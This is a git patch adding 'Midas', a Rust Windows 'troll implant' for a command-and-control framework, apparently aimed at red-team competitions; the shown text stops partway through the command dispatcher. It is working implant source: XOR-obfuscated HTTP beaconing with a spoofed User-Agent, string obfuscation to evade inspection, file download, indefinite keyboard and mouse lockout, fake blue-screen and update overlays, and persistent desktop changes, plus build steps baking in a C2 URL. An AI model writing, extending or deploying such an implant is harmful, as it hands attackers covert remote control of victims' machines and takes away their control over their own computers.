From 33ce144bec356dcdb6a30611e610427516c1c335 Mon Sep 17 00:00:00 2001 From: connorgadbois Date: Wed, 30 Sep 2026 13:27:17 -0500 Subject: [PATCH] Added Midas implant --- README.md | 3 +- implants/midas/Cargo.toml | 41 ++ implants/midas/README.md | 169 ++++++ implants/midas/build.rs | 25 + implants/midas/src/comm.rs | 199 ++++++ implants/midas/src/commands.rs | 827 +++++++++++++++++++++++++ implants/midas/src/config.rs | 89 +++ implants/midas/src/gdi/api.rs | 279 +++++++++ implants/midas/src/gdi/canvas.rs | 374 ++++++++++++ implants/midas/src/gdi/mod.rs | 471 +++++++++++++++ implants/midas/src/gdi/paint.rs | 656 ++++++++++++++++++++ implants/midas/src/gdi/text.rs | 422 +++++++++++++ implants/midas/src/gui/mod.rs | 834 +++++++++++++++++++++++++ implants/midas/src/gui/overlay.rs | 969 ++++++++++++++++++++++++++++++ implants/midas/src/gui/win.rs | 814 +++++++++++++++++++++++++ implants/midas/src/info.rs | 65 ++ implants/midas/src/jobs.rs | 98 +++ implants/midas/src/log.rs | 108 ++++ implants/midas/src/main.rs | 154 +++++ implants/midas/src/obf.rs | 67 +++ implants/midas/src/rng.rs | 42 ++ implants/midas/src/sleep.rs | 107 ++++ 22 files changed, 6812 insertions(+), 1 deletion(-) create mode 100644 implants/midas/Cargo.toml create mode 100644 implants/midas/README.md create mode 100644 implants/midas/build.rs create mode 100644 implants/midas/src/comm.rs create mode 100644 implants/midas/src/commands.rs create mode 100644 implants/midas/src/config.rs create mode 100644 implants/midas/src/gdi/api.rs create mode 100644 implants/midas/src/gdi/canvas.rs create mode 100644 implants/midas/src/gdi/mod.rs create mode 100644 implants/midas/src/gdi/paint.rs create mode 100644 implants/midas/src/gdi/text.rs create mode 100644 implants/midas/src/gui/mod.rs create mode 100644 implants/midas/src/gui/overlay.rs create mode 100644 implants/midas/src/gui/win.rs create mode 100644 implants/midas/src/info.rs create mode 100644 implants/midas/src/jobs.rs create mode 100644 implants/midas/src/log.rs create mode 100644 implants/midas/src/main.rs create mode 100644 implants/midas/src/obf.rs create mode 100644 implants/midas/src/rng.rs create mode 100644 implants/midas/src/sleep.rs diff --git a/README.md b/README.md index 0473002..45d1078 100644 --- a/README.md +++ b/README.md @@ -29,4 +29,5 @@ python3 -m http.server # Starts a webserver on port 8000 ## Implants |Implant|Description|Language|OS| |---|---|---|---| -|`Tombili`|Competition focused implant with general purpose functionality|Nim|Windows, Linux| \ No newline at end of file +|`Tombili`|Competition focused implant with general purpose functionality|Nim|Windows, Linux| +|`Midas`|Windows trolling utilities|Rust|Windows \ No newline at end of file diff --git a/implants/midas/Cargo.toml b/implants/midas/Cargo.toml new file mode 100644 index 0000000..25cd0a1 --- /dev/null +++ b/implants/midas/Cargo.toml @@ -0,0 +1,41 @@ +[package] +name = "midas" +version = "0.1.0" +edition = "2021" +build = "build.rs" +description = "Midas - Windows troll implant for the Altin C2" +publish = false + +[dependencies] +serde = { version = "1", features = ["derive"] } +serde_json = "1" +local-ip-address = "0.6" +ureq = "2.10" + +# Overlays are drawn with egui because they have to be faked from scratch anyway +# (fake BSOD, fake update, glitch static). A real MessageBoxW is used instead - +# see gui/win.rs. Only the glow renderer is pulled in, since there is no longer +# a non-Windows windowing backend to support. +eframe = { version = "0.29", default-features = false, features = [ + "default_fonts", + "glow", +] } +egui = "0.29" +image = { version = "0.25", default-features = false, features = [ + "png", + "jpeg", + "gif", + "bmp", +] } + +# Windows only. The X11 backend was removed because a Wayland compositor forbids +# the cross-client operations this implant is built around - moving another +# application's window, warping the pointer, grabbing the keyboard - so most of +# the command surface could not have worked there. main.rs rejects other targets +# with an explanation rather than compiling a half-working implant. + +[profile.release] +opt-level = "z" +lto = true +codegen-units = 1 +strip = true diff --git a/implants/midas/README.md b/implants/midas/README.md new file mode 100644 index 0000000..082ba43 --- /dev/null +++ b/implants/midas/README.md @@ -0,0 +1,169 @@ +# Midas Agent + +A Windows troll implant, hows images, pops message boxes, changes +the wallpaper and shakes the screen. + +**Windows only.** The command surface is built on Win32 — moving another +application's window, warping the pointer, `BlockInput`, `PlaySoundW`. An +earlier revision had an X11 backend, but a Wayland compositor forbids most of +what this implant does to *other* applications, so the Linux build was largely +decorative. Building for any other target now fails with an explanation rather +than producing something that silently does nothing. + +## Configuring + +Set these in the environment at **compile** time. `option_env!` bakes them into +the binary, so the C2 URL and XOR key are not visible in the process +environment, and the values are XOR-encoded like every other string constant so +they do not appear in `strings` output either. + +|Variable|Default|Purpose| +|---|---|---| +|`MIDAS_SERVER`|`http://127.0.0.1:3000/`|C2 base URL| +|`MIDAS_KEY`|`asdf`|XOR key; must be in the server's keys list| +|`MIDAS_REG_FAIL_LIMIT`|`10`|Registration attempts before giving up| +|`MIDAS_CHECKIN_SLEEP`|`10`|Seconds between check-ins| +|`MIDAS_CHECKIN_JITTER`|`5`|Jitter range in seconds, applied to the sleep| +|`MIDAS_LOG`|unset|Set to anything but `0` for stderr diagnostics| + +## Compiling +```bash +# From Windows, for the usual target: +MIDAS_SERVER=https://c2.example.com/ MIDAS_KEY=... \ + cargo build --release --target x86_64-pc-windows-msvc + +# Cross-compiling from Linux (needs a mingw-w64 linker): +MIDAS_SERVER=https://c2.example.com/ MIDAS_KEY=... \ + cargo build --release --target x86_64-pc-windows-gnu +``` + +## Commands +Every argument is required. Where behaviour is genuinely optional it is +expressed with a **sentinel**, listed in the description: the Web UI drops +blank inputs from the argument array, so an omitted argument silently shifts +every later one down a slot rather than falling back to a default. + +|Command|Description|Arguments| +|---|---|---| +|`sysinfo`|Report OS, elevation, screen size and overlay state|| +|`listoverlays`|List running overlays with their id and age|| +|`stopall`|Close every running overlay and stop any playing sound|| +|`kill`|Stop the implant|| +|`getsleep`|Get the current sleep time and jitter|| +|`setsleep`|Set the sleep time between check-ins|seconds: int, jitter: int| +|`fetchimage`|Download a file to the implant's cache and return its path|url: str, filename: str| +|`msgbox`|Show a message box|title: str, body: str, icon: str, sound: bool| +|`showimage`|Show an image over the desktop|path: str, mode: str, seconds: int, topmost: bool| +|`setwallpaper`|Set the desktop wallpaper|path: str| +|`getwallpaper`|Report the current wallpaper path so it can be restored|| +|`shakescreen`|Shake a window back and forth|seconds: int, amplitude: int, interval: int, target: str| +|`fakebsod`|Fullscreen fake blue screen with a progress bar|stopcode: str, percent: int, seconds: int| +|`fakeupdate`|Fullscreen fake "working on updates" screen|title: str, percent: int, seconds: int| +|`faketoast`|Fake desktop notification|title: str, body: str, seconds: int| +|`titlechange`|Retitle the foreground window|title: str| +|`gettitle`|Report the foreground window's current title|| +|`toggletaskbar`|Hide or show the taskbar|state: str| +|`scare`|Fullscreen image plus sound at once|image: str, sound: str, seconds: int| +|`spook`|Fullscreen animated static, matrix rain or scanlines|mode: str, seconds: int| +|`playsound`|Play a sound file|path: str, loop: bool| +|`volume`|Change the system playback volume|action: str, level: int| +|`cursor`|Hide, freeze or move the mouse pointer|action: str, seconds: int| +|`desktopnote`|Draw a large text note on the desktop|text: str, x: int, y: int, size: int| +|`fontsize`|Scale the system UI font|percent: int| +|`minimizeall`|Minimise or restore every window|state: str| +|`openurl`|Open a URL in the default browser|url: str, background: bool| +|`lockinput`|Block keyboard and mouse input; `0` holds until `stopall`|seconds: int| + +## Sentinels +|Argument|Sentinel|Meaning| +|---|---|---| +|`showimage` / `spook` / `fakebsod` / `fakeupdate` `seconds`|`0`|Do not auto-close; stays until `stopall`| +|`scare` `sound`|`none`|Image only, no sound| +|`volume` `action`|`set`|Uses the `level` argument; other actions ignore it| +|`shakescreen` `target`|`foreground`|Foreground window; `all` for every top-level, `mouse` to shake only the window under the pointer| +|`minimizeall` / `toggletaskbar` `state`|`toggle`|Flip to the opposite of the current state. `minimizeall` moves every window one way together, rather than leaving a mix that neither `minimize` nor `restore` could describe afterwards| +|`cursor` `seconds`|capped at 60|Ignores anything longer| +|`lockinput` `seconds`|`0`|Do not time out; holds until `stopall`. Any interruption needs `stopall` - `sysinfo` reports an active hold as `input lock: active for …s`| +|`shakescreen` `seconds`|capped at 30|| + +## Platform notes +- **Overlays have two backends.** `eframe` is tried first and needs a working + OpenGL 3.2+ context; where that is unavailable — a VM with 3D acceleration off, + an RDP session, which offers only OpenGL 1.1 — eframe fails during context + creation, before its first frame, and does so with a panic from inside glutin. + Midas then falls back to a GDI backend that needs no graphics driver at all, + and remembers the choice so the dead one is not retried on every command. The + fallback also covers a backend that survives startup but dies on its first + command: the send itself is the liveness test, so a dead backend is retired at + the point it would have failed a command and the same command goes out again + on the other one. `sysinfo` reports which is live as + `overlay host: running (eframe|gdi)`, along with the real reason if neither + came up. +- **Panics are reportable, not just stderr noise.** The default hook names only + the thread — always one of Midas' own — so every distinct failure printed the + same line. The implant installs its own hook that keeps the last few panics + and `sysinfo` reports them as `panic: ::`. On a target + nobody is sitting at, a stderr line is nowhere to look; this is how the reason + a backend died reaches the operator. +- **The GDI backend is a transcription, not a port.** Same layouts, same colours, + same system font, drawn by hand into a DIB and composited by the window manager + through `UpdateLayeredWindow`. What is lost: rounded corners, subpixel layout, + and the GPU. What is kept: all seven overlays work, including animated + `spook`, and the notification and desktop note are still click-through + everywhere they are transparent, because a layered window is hit-tested + against its own alpha. +- **Text is the one thing GDI is used for.** Everything else is a hand-rolled + rasteriser, because GDI cannot write a meaningful alpha channel into a 32-bit + DIB. Text is rendered over a sentinel colour and the distance from it is + recovered as per-pixel coverage, so antialiasing survives the round trip. + Grayscale antialiasing is requested rather than ClearType, since ClearType's + subpixel colours would defeat both that and the compositing. +- **The overlay host restarts.** It is started lazily by the first visual + command and re-created if the backend dies, so a transient failure does not + disable overlays for the rest of the implant's life. +- **`lockinput`** uses `BlockInput`, which requires an elevated process. An + unelevated implant reports the refusal in its own log rather than pretending + to have locked anything. `sysinfo` reports the elevation state so this is + predictable up front. `0` holds until `stopall`, and `sysinfo` reports an + active hold as `input lock: active for …s`. +- **No interactive desktop** — a service, a scheduled task, or session 0 — means + every window command fails. `sysinfo` reports `desktop: false` in that case. +- **`fontsize`** writes `HKCU\Control Panel\Desktop\LogPixels` and broadcasts + `WM_SETTINGCHANGE`, so it takes effect for new windows only. +- **`setwallpaper` / `getwallpaper`** go through `SystemParametersInfoW` with + `SPI_SETDESKWALLPAPER`. +- **Overlays** are drawn rather than borrowed from native controls, because they + have to be faked from scratch anyway — the BSOD, the update screen, the + animated static. `msgbox` is the one exception and uses a real `MessageBoxW`, + so it gets the genuine system styling. + +## Design notes +- **One GUI thread, many viewports — under eframe.** winit permits one + `EventLoop` per process, so "a thread per overlay" cannot work. A single + long-lived thread owns the one event loop and each overlay is an egui + *viewport* within it. +- **A thread and a window per overlay — under GDI.** That shape is illegal for + eframe and is exactly why the fallback is not a second egui app: it uses + ordinary top-level windows with ordinary message loops, so the one-event-loop + constraint does not apply. +- **Every command acks immediately.** The Web UI abandons a task after 90 + seconds (`TASK_TIMEOUT_MS` in `webui/assets/js/agents.js`). Tombili runs + commands inline on its check-in loop, so a 30-second shake there would stall + check-ins and be reported as a timeout even though it worked. Midas hands + work to the GUI thread or a worker thread and returns a status line + immediately. +- **Blocking calls go on worker threads.** `MessageBoxW` is modal, a key press + grab has to hold, `lockinput` has to be undone after a delay or a `stopall`. + All of them run through `gui::detach`, so a `lockinput` — timed or + continuous — does not hold up the check-in loop. +- **`stopall` is immediate.** It bumps an epoch, releases any input hold, sets + cancel tokens; overlays check a deadline on their own thread, and `PlaySoundW` + is ended by re-issuing it with a null sound, which is the only way to stop it. +- **`stopall` does not undo everything.** Wallpaper, title, taskbar, font scale + and volume are deliberately left changed — that is the joke. `getwallpaper` + and `gettitle` exist so the original state can be read back afterwards. The + one thing it must undo is input: a continuous `lockinput` has no other way + off, so unblocking it is part of the same cleanup. +- **Win32 is declared by hand**, not through the `windows` crate. The + declarations are plain `extern "system"`, which keeps the dependency list and + the binary small and links identically under the MSVC and GNU targets. diff --git a/implants/midas/build.rs b/implants/midas/build.rs new file mode 100644 index 0000000..c963b13 --- /dev/null +++ b/implants/midas/build.rs @@ -0,0 +1,25 @@ +use std::time::{SystemTime, UNIX_EPOCH}; + +fn main() { + println!("cargo:rerun-if-changed=build.rs"); + + // Tombili derives its obfuscation seed from hash(CompileTime & CompileDate). + // Rust's const evaluation cannot read the clock, so the build script emits + // the equivalent per-build seed into OUT_DIR and src/obf.rs includes it. + // + // This is string obfuscation, not encryption: it keeps protocol strings and + // the C2 URL out of `strings` output on the compiled binary. The key and URL + // are still recoverable by anything that runs the binary. + let seed = SystemTime::now() + .duration_since(UNIX_EPOCH) + .map(|d| d.as_nanos() as u32) + .unwrap_or(0x9E37_79B9) + | 1; + + let out = std::path::PathBuf::from(std::env::var("OUT_DIR").expect("OUT_DIR")); + std::fs::write( + out.join("seed.rs"), + format!("pub const SEED: u32 = {seed:#010x};\n"), + ) + .expect("write seed"); +} diff --git a/implants/midas/src/comm.rs b/implants/midas/src/comm.rs new file mode 100644 index 0000000..a6744eb --- /dev/null +++ b/implants/midas/src/comm.rs @@ -0,0 +1,199 @@ +//! C2 transport. +//! +//! Byte-for-byte port of `implants/tombili/src/communication.nim`. The protocol +//! is a single HTTP POST to a catch-all route whose body is a repeating-key XOR +//! of a JSON document; the server is `server/altin/c2_routes.py`. +//! +//! ## XOR parity note +//! +//! The server's `xor_data` walks the decoded body as *characters* and builds the +//! result with `chr(ord(a) ^ ord(b))`. That is only equivalent to a byte-wise XOR +//! while both operands are ASCII. Every document Midas sends is ASCII because +//! `serde_json` escapes non-ASCII as `\uXXXX`, and every document the server +//! sends back is assembled from ASCII literals plus the ASCII task payloads +//! Midas sent it. So byte-wise XOR matches here. +//! +//! That is also why the decode side is `from_utf8_lossy` rather than an error: +//! if a future server change pushed a non-ASCII byte through, the Python side +//! would widen it to a multi-byte codepoint and a byte-wise decode would produce +//! mojibake. A lossy decode degrades to "invalid JSON" rather than a panic. + +use serde_json::{json, Map, Value}; + +use crate::commands; +use crate::config; +use crate::obf; + +/// Action discriminators. These must match `server/altin/agent.py:6-8`. +pub const ACTION_CHECKIN: i64 = 1; +pub const ACTION_REGISTER: i64 = 2; +pub const ACTION_TASK_RESULT: i64 = 3; + +/// Response statuses. These must match `server/altin/agent.py:10-14`. +pub const STATUS_ERROR: i64 = 0; +pub const STATUS_CONTINUE: i64 = 1; +pub const STATUS_TASKS: i64 = 2; +pub const STATUS_REGISTER: i64 = 3; +pub const STATUS_INVALID: i64 = 4; + +const ALL_STATUSES: [i64; 5] = [ + STATUS_ERROR, + STATUS_CONTINUE, + STATUS_TASKS, + STATUS_REGISTER, + STATUS_INVALID, +]; + +/// Repeating-key XOR over the raw bytes. +pub fn xor(data: &str, key: &str) -> String { + let key_bytes = key.as_bytes(); + if key_bytes.is_empty() { + return data.to_string(); + } + + let mut out = Vec::with_capacity(data.len()); + for (i, byte) in data.as_bytes().iter().enumerate() { + out.push(byte ^ key_bytes[i % key_bytes.len()]); + } + + String::from_utf8_lossy(&out).into_owned() +} + +/// The address reported as this agent's identity half. +/// +/// The server keys agents on `(implant_id, ip)`, both supplied by the client +/// with no server-issued nonce, so this is a label and not an authenticator. It +/// is whatever the host's primary interface reports. +fn local_ip() -> String { + match local_ip_address::local_ip() { + Ok(addr) => addr.to_string(), + Err(_) => obf!("unknown"), + } +} + +/// Build a JSON object from runtime-computed keys. +/// +/// `serde_json::json!` only accepts literal keys, and every key here goes +/// through `obf!` so the plaintext protocol field names stay out of the binary. +fn jobj(pairs: Vec<(String, Value)>) -> Value { + let mut map = Map::new(); + for (key, value) in pairs { + map.insert(key, value); + } + Value::Object(map) +} + +/// The `{implant_id, ip, action, ..}` envelope shared by all three actions. +fn envelope(action: i64, extra: Vec<(String, Value)>) -> Value { + let mut pairs: Vec<(String, Value)> = vec![ + (obf!("implant_id"), json!(config::IMPLANT_ID)), + (obf!("ip"), json!(local_ip())), + (obf!("action"), json!(action)), + ]; + pairs.extend(extra); + jobj(pairs) +} + +/// POST an encrypted payload and return the decoded response document. +fn exchange(payload: &Value) -> Result { + let key = config::xor_key(); + let url = config::server_url(); + + let encrypted = xor(&payload.to_string(), &key); + let body = ureq::post(&url) + // The catch-all route reads `request.data`, so the content type is + // irrelevant to it; this is only here to look ordinary. + .set("Content-Type", "text/plain; charset=utf-8") + .set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64)") + .send_string(&encrypted) + .map_err(|e| format!("POST {url} failed: {e}"))? + .into_string() + .map_err(|e| format!("could not read response body: {e}"))?; + + let plaintext = xor(&body, &key); + serde_json::from_str(&plaintext) + .map_err(|e| format!("response was not valid JSON after decoding: {e}")) +} + +/// Pull the status out of a response, rejecting anything outside the protocol's +/// five defined values. Tombili does the same check on the implant side so a +/// desynchronised server cannot be mistaken for a successful call. +fn status_of(response: &Value) -> Result { + let status = response + .get(obf!("status")) + .and_then(|s| s.as_i64()) + .ok_or_else(|| obf!("response had no integer `status` field"))?; + + if ALL_STATUSES.contains(&status) { + Ok(status) + } else { + Err(format!("unrecognised status {status}")) + } +} + +/// Sends the implant's capability manifest. The server stores it verbatim and +/// the Web UI builds its operator forms from it, so this is what defines +/// Midas' console. +pub fn send_registration() -> Result { + let registration = jobj(vec![ + (obf!("os"), json!(config::OS)), + (obf!("commands"), commands::manifest()), + ]); + + let response = exchange(&envelope( + ACTION_REGISTER, + vec![(obf!("registration"), registration)], + ))?; + + status_of(&response) +} + +pub fn send_task_result(task_id: &str, result: &str) -> Result { + let body = jobj(vec![ + (obf!("task_id"), json!(task_id)), + (obf!("result"), json!(result)), + ]); + + let response = exchange(&envelope( + ACTION_TASK_RESULT, + vec![(obf!("result"), body)], + ))?; + + status_of(&response) +} + +/// What a check-in came back with. +pub enum Checkin { + /// The server had tasks queued. + Tasks(Vec), + /// The server does not know this agent any more, so it wants a fresh + /// registration. This happens when the agent row was deleted from the Web UI + /// mid-round. + NeedsRegistration, + /// Nothing to do. + Idle, +} + +/// One check-in. +/// +/// The server replies with every task where `completed == false` and re-sends +/// them on each check-in until a result lands, so a command whose result is +/// lost runs again. That is the server's delivery model, not something this +/// layer can fix. +pub fn checkin() -> Result { + let response = exchange(&envelope(ACTION_CHECKIN, Vec::new()))?; + + match status_of(&response)? { + STATUS_TASKS => { + let tasks = response + .get(obf!("tasks")) + .and_then(|tasks| tasks.as_array()) + .cloned() + .ok_or_else(|| obf!("status was TASKS but no `tasks` array was present"))?; + + Ok(Checkin::Tasks(tasks)) + } + STATUS_REGISTER => Ok(Checkin::NeedsRegistration), + _ => Ok(Checkin::Idle), + } +} diff --git a/implants/midas/src/commands.rs b/implants/midas/src/commands.rs new file mode 100644 index 0000000..623dee1 --- /dev/null +++ b/implants/midas/src/commands.rs @@ -0,0 +1,827 @@ +//! Command manifest and dispatch. +//! +//! The server stores whatever manifest this module produces and the Web UI +//! renders operator forms straight from it, so `all()` *is* the operator's +//! console. Two rules follow from `webui/assets/js/agents.js` and +//! `server/altin/management_routes.py:202-207`, and both are enforced by the +//! shape of the types here rather than by convention: +//! +//! 1. **Every argument is `required: true`.** The API compares the number of +//! supplied arguments against the number of required ones and rejects +//! anything else. An optional argument is worse than useless: the UI renders +//! it without an asterisk, the operator leaves it blank, blank inputs are +//! dropped from the array (`agents.js:323`), and every later argument +//! shifts down one slot. So genuinely optional behaviour is expressed with a +//! sentinel value, and the sentinel is documented in the description. +//! +//! 2. **Arguments are positional and only as long as declared.** `ArgDef` has +//! no `required` field to set, so an optional argument cannot be declared by +//! accident. + +use serde_json::{json, Value}; + +use crate::gui; +use crate::info; +use crate::jobs; +use crate::obf; +use crate::sleep; + +pub struct ArgDef { + pub name: String, + pub arg_type: &'static str, + pub description: String, +} + +pub struct CommandDef { + pub name: String, + pub description: String, + pub args: Vec, +} + +fn arg(name: &str, arg_type: &'static str, description: &str) -> ArgDef { + ArgDef { + name: name.to_string(), + arg_type, + description: description.to_string(), + } +} + +fn command(name: &str, description: &str, args: Vec) -> CommandDef { + CommandDef { + name: name.to_string(), + description: description.to_string(), + args, + } +} + +/// The capability manifest, in console order. +pub fn all() -> Vec { + vec![ + // --- operator / cleanup ------------------------------------------- + command( + "sysinfo", + "Report OS, elevation, screen size and overlay state", + vec![], + ), + command( + "listoverlays", + "List running overlays with their id and age", + vec![], + ), + command("stopall", "Close every running overlay", vec![]), + command("kill", "Stop the implant", vec![]), + command( + "getsleep", + "Get the current sleep time and jitter", + vec![], + ), + command( + "setsleep", + "Set the sleep time between check-ins", + vec![ + arg("seconds", "int", "Seconds between check-ins, minimum 1"), + arg("jitter", "int", "Random extra delay, 0 to seconds"), + ], + ), + command( + "fetchimage", + "Download a file to the implant's cache and return its path", + vec![ + arg("url", "str", "HTTP(S) URL to download"), + arg( + "filename", + "str", + "Name to save as; directories in the name are stripped", + ), + ], + ), + // --- core --------------------------------------------------------- + command( + "msgbox", + "Show a message box", + vec![ + arg("title", "str", "Window title"), + arg("body", "str", "Message body"), + arg( + "icon", + "str", + "One of: none, info, warning, error, question", + ), + arg("sound", "bool", "Play a system sound with the dialog"), + ], + ), + command( + "showimage", + "Show an image over the desktop", + vec![ + arg("path", "str", "Absolute path to the image"), + arg("mode", "str", "One of: fullscreen, center, fit"), + arg( + "seconds", + "int", + "Auto-close after this many seconds; 0 stays until stopall", + ), + arg("topmost", "bool", "Keep the window above other windows"), + ], + ), + command( + "setwallpaper", + "Set the desktop wallpaper", + vec![arg("path", "str", "Absolute path to the image")], + ), + command( + "getwallpaper", + "Report the current wallpaper path so it can be restored", + vec![], + ), + command( + "shakescreen", + "Shake a window back and forth", + vec![ + arg("seconds", "int", "How long to shake for, capped at 30"), + arg("amplitude", "int", "Horizontal travel in pixels, 1-200"), + arg("interval", "int", "Milliseconds between moves, 10-200"), + arg( + "target", + "str", + "One of: foreground, all, mouse", + ), + ], + ), + // --- fake system UI ----------------------------------------------- + command( + "fakebsod", + "Fullscreen fake blue screen with a progress bar", + vec![ + arg("stopcode", "str", "Fake stop code, e.g. CRITICAL_PROCESS_DIED"), + arg("percent", "int", "Fake completion percentage, 0-100"), + arg("seconds", "int", "Auto-close after this many seconds; 0 stays"), + ], + ), + command( + "fakeupdate", + "Fullscreen fake 'working on updates' screen", + vec![ + arg("title", "str", "Headline text"), + arg("percent", "int", "Fake completion percentage, 0-100"), + arg("seconds", "int", "Auto-close after this many seconds; 0 stays"), + ], + ), + command( + "faketoast", + "Fake desktop notification", + vec![ + arg("title", "str", "Notification title"), + arg("body", "str", "Notification body"), + arg("seconds", "int", "Auto-close after this many seconds"), + ], + ), + command( + "titlechange", + "Retitle the foreground window", + vec![arg("title", "str", "New window title text")], + ), + command( + "gettitle", + "Report the foreground window's current title", + vec![], + ), + command( + "toggletaskbar", + "Hide or show the taskbar", + vec![arg("state", "str", "One of: hide, show, toggle")], + ), + // --- sensory ------------------------------------------------------- + command( + "scare", + "Fullscreen image plus sound at once", + vec![ + arg("image", "str", "Absolute path to the image"), + arg( + "sound", + "str", + "Absolute path to a sound file, or the literal `none`", + ), + arg("seconds", "int", "Auto-close after this many seconds"), + ], + ), + command( + "spook", + "Fullscreen animated static, matrix rain or scanlines", + vec![ + arg( + "mode", + "str", + "One of: static, matrix, scanline, glitch", + ), + arg("seconds", "int", "Auto-close after this many seconds; 0 stays"), + ], + ), + command( + "playsound", + "Play a sound file", + vec![ + arg("path", "str", "Absolute path to a WAV file"), + arg("loop", "bool", "Repeat until stopped"), + ], + ), + command( + "volume", + "Change the system playback volume", + vec![ + arg("action", "str", "One of: mute, unmute, max, min, set"), + arg("level", "int", "Level 0-100, used when action is `set`"), + ], + ), + // --- desktop ------------------------------------------------------- + command( + "cursor", + "Hide, freeze or move the mouse pointer", + vec![ + arg( + "action", + "str", + "One of: hide, show, freeze, corner, shake", + ), + arg("seconds", "int", "How long to hold it; capped at 60"), + ], + ), + command( + "desktopnote", + "Draw a large text note on the desktop", + vec![ + arg("text", "str", "Text to display"), + arg("x", "int", "Position in pixels from the top-left"), + arg("y", "int", "Position in pixels from the top-left"), + arg("size", "int", "Font size in pixels, 8-200"), + ], + ), + command( + "fontsize", + "Scale the system UI font", + vec![arg("percent", "int", "Scale percentage, 50-300")], + ), + command( + "minimizeall", + "Minimise or restore every window", + vec![arg("state", "str", "One of: minimize, restore, toggle")], + ), + command( + "openurl", + "Open a URL in the default browser", + vec![ + arg("url", "str", "URL to open"), + arg("background", "bool", "Do not wait for the browser to exit"), + ], + ), + command( + "lockinput", + "Block keyboard and mouse input; 0 = until stopall", + vec![arg( + "seconds", + "int", + "Seconds to block for; 0 holds until stopall", + )], + ), + ] +} + +/// The manifest as the server expects it. Note the absent `required` key on the +/// command objects and the hardcoded `true` on each argument. +pub fn manifest() -> Value { + json!(all() + .iter() + .map(|c| json!({ + "command": c.name, + "description": c.description, + "args": c.args.iter().map(|a| json!({ + "name": a.name, + "arg_type": a.arg_type, + "description": a.description, + "required": true, + })).collect::>(), + })) + .collect::>()) +} + +// --------------------------------------------------------------------------- +// Argument access +// +// Every accessor falls back to a default rather than panicking. The server's +// count check makes a short array unreachable through the Web UI, but the C2 +// endpoint accepts a hand-built body, and one malformed task should not take +// the implant down mid-competition. +// --------------------------------------------------------------------------- + +fn arg_str(args: &[Value], index: usize) -> String { + args.get(index) + .and_then(|v| v.as_str()) + .unwrap_or_default() + .to_string() +} + +fn arg_int(args: &[Value], index: usize) -> i64 { + args.get(index) + .and_then(|v| v.as_i64()) + .or_else(|| args.get(index).and_then(|v| v.as_f64()).map(|f| f as i64)) + .unwrap_or(0) +} + +fn arg_bool(args: &[Value], index: usize) -> bool { + args.get(index) + .and_then(|v| v.as_bool()) + .unwrap_or(false) +} + +/// Matches `value` against `options`, returning the canonical spelling or an +/// error naming what was acceptable. Sentinels (`none`, `0`, `-1`) are handled +/// by the individual commands rather than here. +fn one_of(value: &str, options: &[&str]) -> Result { + let lowered = value.trim().to_ascii_lowercase(); + + options + .iter() + .find(|o| **o == lowered) + .map(|o| o.to_string()) + .ok_or_else(|| { + format!( + "`{value}` is not one of: {}", + options.join(", ") + ) + }) +} + +/// Non-negative duration, with 0 meaning "no auto-close". +fn duration_arg( + args: &[Value], + index: usize, + cap: u64, +) -> Result, String> { + let seconds = arg_int(args, index); + if seconds < 0 { + return Err("duration cannot be negative".into()); + } + + let capped = seconds.min(cap as i64); + + Ok(if capped == 0 { + None + } else { + Some(std::time::Duration::from_secs(capped as u64)) + }) +} + +// --------------------------------------------------------------------------- +// Dispatch +// --------------------------------------------------------------------------- + +/// Runs one task and returns the operator-facing result string. +/// +/// The result is stored in a `TextField` and rendered inside a `
` in the
+/// console, so it should be a short status line rather than a payload.
+pub fn dispatch(task: &Value) -> String {
+    let name = task
+        .get(obf!("task"))
+        .and_then(|v| v.as_str())
+        .unwrap_or_default()
+        .to_string();
+
+    let empty: Vec = Vec::new();
+    let args = task
+        .get(obf!("args"))
+        .and_then(|v| v.as_array())
+        .unwrap_or(&empty)
+        .clone();
+
+    match name.as_str() {
+        // --- operator / cleanup -------------------------------------------
+        "sysinfo" => info::report(),
+        "listoverlays" => gui::describe_overlays(),
+        "stopall" => {
+            // Input is released by `stop_all` as well as overlays, and the
+            // message should say so when it was the only thing holding.
+            let input_was_active = gui::input_lock_active();
+            let closed = gui::stop_all();
+
+            let mut parts = Vec::new();
+            if closed > 0 {
+                parts.push(format!("closed {closed} overlay(s)"));
+            }
+            if input_was_active {
+                parts.push("input lock released".to_string());
+            }
+            if parts.is_empty() {
+                "nothing was running".to_string()
+            } else {
+                parts.join("; ")
+            }
+        }
+        "kill" => {
+            gui::stop_all();
+            // Give queued result writes a moment, then leave. Mirrors
+            // Tombili's shared.kill, which sleeps on a spawned thread first.
+            std::thread::spawn(|| {
+                std::thread::sleep(std::time::Duration::from_millis(750));
+                std::process::exit(0);
+            });
+            "implant is stopping".to_string()
+        }
+        "fetchimage" => {
+            let url = arg_str(&args, 0);
+            let filename = arg_str(&args, 1);
+            match jobs::fetch(&url, &filename) {
+                Ok(path) => format!("downloaded to {path}"),
+                Err(e) => format!("download failed: {e}"),
+            }
+        }
+
+        // --- core ---------------------------------------------------------
+        "msgbox" => {
+            let title = arg_str(&args, 0);
+            let body = arg_str(&args, 1);
+            let icon = arg_str(&args, 2);
+            let sound = arg_bool(&args, 3);
+
+            let icon = match one_of(&icon, &["none", "info", "warning", "error", "question"]) {
+                Ok(value) => value,
+                Err(e) => return e,
+            };
+
+            // MessageBoxW is modal: it does not return until the dialog is
+            // dismissed. It has to run off the check-in thread or the implant
+            // stops checking in for as long as the box is open.
+            gui::detach(move || {
+                gui::win::msgbox(&title, &body, &icon, sound);
+            });
+
+            "message box opened".to_string()
+        }
+        "showimage" => {
+            let path = arg_str(&args, 0);
+            let mode = match one_of(&arg_str(&args, 1), &["fullscreen", "center", "fit"]) {
+                Ok(value) => value,
+                Err(e) => return e,
+            };
+            let duration = match duration_arg(&args, 2, 3600) {
+                Ok(value) => value,
+                Err(e) => return e,
+            };
+            let topmost = arg_bool(&args, 3);
+
+            match gui::open_image(&path, &mode, duration, topmost) {
+                Ok(id) => overlay_ack(id, "image", &path, duration),
+                Err(e) => format!("could not show image: {e}"),
+            }
+        }
+        "setwallpaper" => {
+            let path = arg_str(&args, 0);
+            let result = gui::win::set_wallpaper(&path);
+
+            match result {
+                Ok(()) => format!("wallpaper set to {path}"),
+                Err(e) => format!("could not set wallpaper: {e}"),
+            }
+        }
+        "getwallpaper" => {
+            let result = gui::win::get_wallpaper();
+
+            match result {
+                Ok(path) => format!("current wallpaper: {path}"),
+                Err(e) => format!("could not read wallpaper: {e}"),
+            }
+        }
+        "shakescreen" => {
+            let seconds = arg_int(&args, 0);
+            let amplitude = arg_int(&args, 1);
+            let interval = arg_int(&args, 2);
+            let target = match one_of(
